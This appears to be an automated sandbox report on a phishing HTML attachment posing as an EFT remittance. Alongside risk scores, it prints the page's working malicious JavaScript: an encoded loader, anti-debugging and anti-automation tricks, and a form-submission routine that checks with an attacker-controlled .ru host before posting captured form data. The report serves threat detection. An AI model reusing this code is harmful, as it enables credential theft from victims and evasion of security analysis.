Windows Analysis Report
EFT Remittance_(Dmorris)CQDM.html

{
    "risk_score": 7,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. While some of the code appears to be obfuscated, the overall behavior is highly suspicious and indicates a significant risk of malicious intent."
}

/* Success is not built on success. It's built on failure. It's built on frustration. Sometimes it's built on catastrophe. */
if(atob("aHR0cHM6Ly92QUUudmVubWluay5ydS9qSzVJLw==") == "nomatch"){
document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNaQVFXeVZUSndtIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI1pBUVd5VlRKd20gaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI1pBUVd5VlRKd20gaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojWkFRV3lWVEp3bSBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI1pBUVd5VlRKd20uY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTE2cHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7bWFyZ2luLXJpZ2h0OiBhdXRvO21hcmdpbi1sZWZ0OiBhdXRvO30NCiNaQVFXeVZUSndtIC50ZXh0LWNlbnRlciB7dGV4dC1hbGlnbjogY2VudGVyIWltcG9ydGFudDt9DQpAbWVkaWEgKG1pbi13aWR0aDo5OTJweCl7DQojWkFRV3lWVEp3bSAuY29sLWxnLTR7ZmxleDowIDAgYXV0bzt3aWR0aDozMy4zMzMzMzMzMyU7fQ0KfQ0KI1pBUVd5VlRKd20gLmRpc3BsYXktNCB7Zm9udC1zaXplOiAxLjI1cmVtIWltcG9ydGFudDt9DQojWkFRV3lWVEp3bSAubXQtMiB7bWFyZ2luLXRvcDogMC41cmVtIWltcG9ydGFudDt9DQojWkFRV3lWVEp3bSAuaDQge2ZvbnQtc2l6ZTogY2FsYyguOTAwcmVtICsgLjN2dyk7fQ0KI1pBUVd5VlRKd20gLmp1c3RpZnktY29udGVudC1jZW50ZXJ7anVzdGlmeS1jb250ZW50OmNlbnRlciFpbXBvcnRhbnQ7fQ0KI1pBUVd5VlRKd20ubXQtNXttYXJnaW4tdG9wOjNyZW0haW1wb3J0YW50O30NCiNaQVFXeVZUSndtIC5tdC00IHttYXJnaW4tdG9wOiAxcmVtIWltcG9ydGFudDt9DQojWkFRV3lWVEp3bSAjeXRvTUpJdlZlViB7Y29sb3I6ICM2Yzc1N2Q7Zm9udC1zaXplOjE0cHg7bWFyZ2luLXRvcDogLjVyZW07fQ0KICAgIDwvc3R5bGU+DQogICAgPHNjcmlwdD4NCiAgICBpZiAobmF2aWdhdG9yLndlYmRyaXZlciB8fCB3aW5kb3cuY2FsbFBoYW50b20gfHwgd2luZG93Ll9waGFudG9tIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5jbHVkZXMoIkJ1cnAiKSkgew0KICAgICAgICB3aW5kb3cubG9jYXRpb24gPSAiYWJvdXQ6YmxhbmsiOw0KfQ0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgaWYgKGV2ZW50LmtleUNvZGUgPT09IDEyMykgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NCkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzUpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDcyKSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5hbHRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA2NykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gODUpDQogICAgKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQp9KTsNCmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvbnRleHRtZW51JywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgIHJldHVybiBmYWxzZTsNCn0pOw0KdG9udmdxemZxZyA9IGZhbHNlOw0KKGZ1bmN0aW9uIFhndmRmU2ZsRGwoKSB7DQogICAgbGV0IHdvamp4Wk1CY1EgPSBmYWxzZTsNCiAgICBjb25zdCBO

{
    "risk_score": 9,
    "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution using the `Function` constructor, data exfiltration by sending sensitive information to external servers, and the use of obfuscated code. These behaviors are indicative of a highly suspicious and potentially malicious script, warranting a high-risk score."
}

new Function(
  (() => {
    let gECM = '646f63756d656e742e676574456c656d656e744279496428276d616e6472616b6527292e696e6e657254657874203d2061746f622827614852306348272b202f2a20627574746572627572202a2f20224d364c793973222b202f2a206865726f6e776f6f64202a2f202762326470626935746157272b202f2a2077617465726275636b202a2f20224e7962334e765a6e222b225276626d787062222b606d5575593239744c77602b223d3d22293b0a646f63756d656e742e676574456c656d656e744279496428276f616b6c65616627292e696e6e657254657874203d2061746f62282259323974625739222b202f2a206a617962697264202a2f2060754c32396864602b202f2a2063686565746168202a2f206058526f4d693968645852602b276f62334a70656d55272b202f2a20626c61636b74686f726e202a2f20602f593278705a5735602b273058326c6b50272b225441774d4441774d222b224441794c5441774d4441222b27744d475a6d4d5331272b226a5a5441774c222b605441774d4441774d602b604441774d444177602b202f2a206665726e202a2f20604d435a795a57527063602b202f2a207377616c6c6f777461696c202a2f20226d566a64463931222b22636d6b396148523063222b202f2a207075666662616c6c202a2f2027484d6c4d32456c272b224d6d596c4d222b226d5a766458222b202f2a20686f6f706f65202a2f2027527362323972272b202f2a20666c6178202a2f20604c6d396d5a6d6c6a5a54602b604d324e53356a6232306c602b224d6d5a766432222b60456c4d6d596d636d567a602b276233567959272b202f2a2067797073756d202a2f20223255394d4441222b22774d444177222b202f2a207865726f70687974656c656166202a2f20274d5449744d44272b6041774d433077602b202f2a206d616c6c617264202a2f20605a6d59784c602b22574e6c4d4441744d222b604441774d444177602b202f2a206c617267656d6f757468202a2f20604d4441774d44602b202f2a2073686561727761746572202a2f202741774a6e4a6c6333272b604276626e4e6c58602b603231765a4755602b202f2a2067616e6e6574202a2f2060395a6d39796256397762602b202f2a206372656f736f7465202a2f2022334e304a6e4a222b202f2a2066616e776f7274202a2f20276c63334276272b202f2a2065706865647261202a2f2022626e4e6c583352356347222b2255395932396b5a5374222b202f2a20706c6f766572202a2f2027705a4639306232746c62272b202f2a206b6974746977616b65202a2f2022695a7a593239775a54222b223176634756756157516d222b6062584e685a6d566b602b275054456d6258272b202f2a2074616e61676572202a2f20604e68636d566b61584939602b224d535a6a62476c6c62222b202f2a206d6973746c65746f65202a2f20276e5174636d272b202f2a206265656368202a2f206056786457567a6443602b2231705a4430222b202f2a2074656173656c202a2f2022354e4449354e6a6b7859222b202f2a207370696b656d6f7373202a2f20276930304f474535272b224c545a6d4f44222b202f2a20677265656e66696e6368202a2f20224174597a566b4f222b202f2a2076756c747572657368727562202a2f20224330344e4463315a4456222b276a597a4578272b224f54556d6348222b202f2a2063616d656c202a2f20274a766447566a644756272b202f2a206d6f6f7365776f6f64202a2f20226b644739725a573439222b6064484a315a535a602b276a624746706258272b202f2a206865646765686f67202a2f20604d394a5464694a54602b274979615752272b6066644739725a602b2757346c4d6a496c272b224d32456c4e3249222b202f2a20717561686f67202a2f20606c4d6a4a34602b202f2a206861776b657965202a2f202262584e6659324d222b606c4d6a496c4d3245602b606c4e32496c4d6a4a32602b60595778315a602b202f2a20686f7073202a2f2027584d6c4d6a496c4d32272b27456c4e57496c4d272b202f2a2062756c72757368202a2f20276a4a445544456c4d272b226a496c4e57516c4e3251222b202f2a206861727079202a2f20226c4e32516c4e32516d222b202f2a20726174746c65736e616b65202a2f2022626d3975593255394e6a222b202f2a206875636b6c656265727279202a2f20224d344d546b334e7a4135222b202f2a2074757261636f202a2f20604d544d354d5451602b227a4d446732222b604c6d4e6b4f445a6a59602b606a67354c544d344f5449602b202f2a207368616462757368202a2f2022744e44453259693035222b202f2a20626f72616765202a2f20224e546b354c544e6b4f47222b202f2a20616e63686f7679202a2f206045304f5455794e32602b2251334d695a222b227a644746305a5431222b27455758553152272b60474e426430524e602b202f2a206861726562656c6c202a2f202756477448516d272b2778494f464e66272b202f2a20636170756368696e202a2f2060634868325346602b2752774f486f3352272b2756564255335650272b2753554e465656272b202f2a206361726163616c202a2f2022677a593274222b202f2a20706172736e6970202a2f2060514d6d7446635870602b60426446644e4e485a5456602b202f2a207479706861202a2f20273152614e54272b276c5555466c272b27355930524e53272b202f2a206c6f6f

{
    "risk_score": 8,
    "reasoning": "This script exhibits several high-risk behaviors, including detecting browser automation tools, disabling common keyboard shortcuts, and using a debugger-based technique to redirect the user to a suspicious domain. The combination of these behaviors suggests malicious intent, likely to prevent analysis or user interaction."
}

    if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) {
        window.location = "about:blank";
}
document.addEventListener('keydown', function(event) {
    if (event.keyCode === 123) {
        event.preventDefault();
        return false;
    }

    if (
        (event.ctrlKey && event.keyCode === 85) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 73) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 67) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 74) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 75) ||
        (event.ctrlKey && event.keyCode === 72) ||
        (event.metaKey && event.altKey && event.keyCode === 73) ||
        (event.metaKey && event.altKey && event.keyCode === 67) ||
        (event.metaKey && event.keyCode === 85)
    ) {
        event.preventDefault();
        return false;
    }
});
document.addEventListener('contextmenu', function(event) {
    event.preventDefault();
    return false;
});
tonvgqzfqg = false;
(function XgvdfSflDl() {
    let wojjxZMBcQ = false;
    const NfOxOObzrH = 100;
    setInterval(function() {
        const SjIjKpBqNb = performance.now();
        debugger;
        const CHFyrJaiBP = performance.now();
        if (CHFyrJaiBP - SjIjKpBqNb > NfOxOObzrH && !wojjxZMBcQ) {
            tonvgqzfqg = true;
            wojjxZMBcQ = true;
            window.location.replace('https://excel.office.com');
        }
    }, 100);
})();
    

{
    "risk_score": 8,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated URLs and the interaction with an unknown domain 'TaXtT0HxZZ4YsfcFA9TFi3VIrQGZ38qFyK1vtPTcUtYAltZauOwKQl1VjCAu.aeeouirl.ru' further increase the risk. While the script appears to have some legitimate functionality, such as handling a form submission, the overall behavior is highly suspicious and indicative of potential malicious intent."
}

turnstile.render('#cf', {
    sitekey: '0x4AAAAAAA0WiiyS1ss3H6RW',
    'error-callback': GfpQlkOpvv,
    callback: BwhdenWJtY,
});
function GfpQlkOpvv() {
    turnstile.reset();
}
function BwhdenWJtY() {
    var SayBsfBswT = document.getElementById("nyhuUYApVS");
    SayBsfBswT.onsubmit = function (event) {
        event.preventDefault();
    };
    document.getElementById("pagelink").value = 'wkhL';
    var KtZcyfqaiV = "../hftfrTVmErNWMRz1NcKz6O1makhrQW403rw";
    fetch('https://TaXtT0HxZZ4YsfcFA9TFi3VIrQGZ38qFyK1vtPTcUtYAltZauOwKQl1VjCAu.aeeouirl.ru/feluhfgrzmVwMujWyvyhONyltLlYUZMKYHRFDTWHIRHDWIYDVZJCFQXXAHMDVYZAMOEOTTCSEUZHYORCYP', {
    method: "GET",
    }).then(response => {
    return response.text()
    }).then(text => {
    if(text == 0){
    fetch(KtZcyfqaiV, {
        method: "POST",
        body: new FormData(SayBsfBswT)
    }).then(response => {
        return response.json();
    }).then(data => {
        if(data['status'] == 'success'){
        if(tonvgqzfqg == false){
        location.reload();
        }
        }
        if(data['status'] == 'error'){
        window.location.replace('https://excel.office.com');
        }
    });
    }
    if(text != 0){
    window.location.replace('https://excel.office.com');
    }
    })
    .catch(error => {
    window.location.replace('https://excel.office.com');
    });
}

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: ://

{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "unknown",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "unknown",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "unknown",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "unknown",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "unknown",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
  "brands": "unknown"
}

{
  "brands": "unknown"
}

{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "unknown",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
  "brands": "unknown"
}

{
  "brands": "unknown"
}

{
  "brands": "unknown"
}

{
  "brands": "unknown"
}